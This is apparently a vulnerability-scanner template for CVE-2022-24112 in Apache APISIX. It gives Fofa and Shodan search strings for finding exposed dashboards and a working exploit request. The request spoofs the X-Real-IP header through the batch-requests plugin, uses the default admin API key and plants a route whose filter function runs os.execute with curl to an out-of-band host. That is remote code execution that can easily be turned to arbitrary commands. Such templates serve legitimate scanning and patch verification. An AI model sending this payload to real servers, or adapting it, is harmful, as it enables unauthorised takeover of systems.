Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE;An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
Fofa: title="Apache APISIX Dashboard"
Shodan: title:"Apache APISIX Dashboard"
PoC代码[已公开]
id: CVE-2022-24112
info:
name: Apache APISIX apisix/batch-requests RCE
author: Mr-xn
severity: critical
verified: false
description: |-
Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE;An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
Fofa: title="Apache APISIX Dashboard"
Shodan: title:"Apache APISIX Dashboard"
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-24112
- https://www.openwall.com/lists/oss-security/2022/02/11/3
- https://twitter.com/sirifu4k1/status/1496043663704858625
- https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests
tags: cve,cve2022,apache,rce,apisix,oast
created: 2024/02/27
set:
randstr: randomLowercase(6)
oob: oob()
oobHTTP: oob.HTTP
rules:
r0:
request:
method: POST
path: /apisix/batch-requests
headers:
Content-Type: "application/json"
body: |
{
"headers":{
"X-Real-IP":"127.0.0.1",
"Content-Type":"application/json"
},
"timeout":1500,
"pipeline":[
{
"method":"PUT",
"path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
"body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{oobHTTP}}'); return true end\"}"
}
]
}
expression: response.status == 200 && response.body.bcontains(b'"reason":"OK"') && response.body.bcontains(b'"status":200')
r1:
request:
method: GET
path: /api/{{randstr}}
expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0() && r1()